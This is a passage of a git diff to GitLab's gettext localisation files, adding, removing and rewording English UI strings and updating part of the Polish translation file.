msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37454,6 +38116,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37484,9 +38149,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37505,9 +38167,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38287,6 +38946,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38502,9 +39164,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38631,9 +39290,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38664,6 +39320,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38691,10 +39353,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38706,22 +39368,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39219,6 +39875,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39414,15 +40076,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39912,18 +40574,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40140,6 +40820,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40158,7 +40841,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40179,9 +40862,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40670,15 +41350,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40709,6 +41380,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40975,9 +41661,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] ""
msgstr[1] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41380,6 +42066,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41584,6 +42273,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41932,6 +42624,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42034,21 +42729,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42271,6 +42972,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42346,9 +43050,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42553,7 +43254,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42995,6 +43696,11 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43211,7 +43917,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43508,24 +44214,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43630,15 +44324,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43810,6 +44501,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43852,6 +44546,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44032,6 +44729,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44071,6 +44771,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44140,6 +44843,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44302,15 +45008,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44341,15 +45041,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44407,24 +45101,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44452,9 +45134,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44473,15 +45152,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44638,6 +45311,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44694,6 +45370,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44868,9 +45550,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -44937,10 +45616,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45108,10 +45787,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45315,9 +45994,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45387,6 +46063,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45513,6 +46195,9 @@ msgstr[1] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46284,10 +46969,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46735,9 +47420,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46824,6 +47521,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46833,7 +47533,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,7 +47566,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47177,9 +47892,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47270,6 +47982,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47327,7 +48039,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47420,7 +48132,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47566,6 +48281,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47719,8 +48437,10 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr ""
@@ -47958,6 +48678,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,7 +48708,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48062,6 +48785,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48499,10 +49228,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48655,9 +49387,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49142,9 +49871,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/pl_PL/gitlab.po b/locale/pl_PL/gitlab.po
index b509364c1bb..ef11a30f73a 100644
--- a/locale/pl_PL/gitlab.po
+++ b/locale/pl_PL/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: pl\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:41\n"
+"PO-Revision-Date: 2023-01-10 06:45\n"
msgid " %{start} to %{end}"
msgstr " %{start} do %{end}"
@@ -932,6 +932,9 @@ msgstr "%{italic_start}Co nowego%{italic_end} jest nieaktywne i nie może zostaÄ
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr "%{itemsCount} problemów, z limitem %{maxIssueCount} problemów."
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr "%{labelStart}Faktyczna odpowiedź:%{labelEnd} %{headers}"
@@ -1004,6 +1007,9 @@ msgstr "%{level_name} nie jest dozwolone w grupie %{group_level_name}."
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -1137,6 +1143,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr "%{ref} nie może zostać dodany: %{error}"
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] "%{releases} wydanie"
@@ -1156,6 +1168,13 @@ msgstr "%{reportType} wykryto %{totalStart}%{total}%{totalEnd} potencjalnych %{v
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr "%{retryButtonStart}Spróbuj ponownie%{retryButtonEnd} lub %{newFileButtonStart}załącz nowy plik%{newFileButtonEnd}."
@@ -1202,9 +1221,6 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "%{size} %{unit}"
-msgstr "%{size} %{unit}"
-
msgid "%{size} GiB"
msgstr "%{size} GiB"
@@ -1328,13 +1344,6 @@ msgstr "%{template_project_id} jest nieznany lub nieprawidłowy"
msgid "%{text} is available"
msgstr "%{text} jest dostępny"
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr "%{timebox_type} nie obsługuje wykresów wypalania (burnup)"
@@ -1805,7 +1814,7 @@ msgstr[2] "%d ról"
msgstr[3] "%d roli"
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
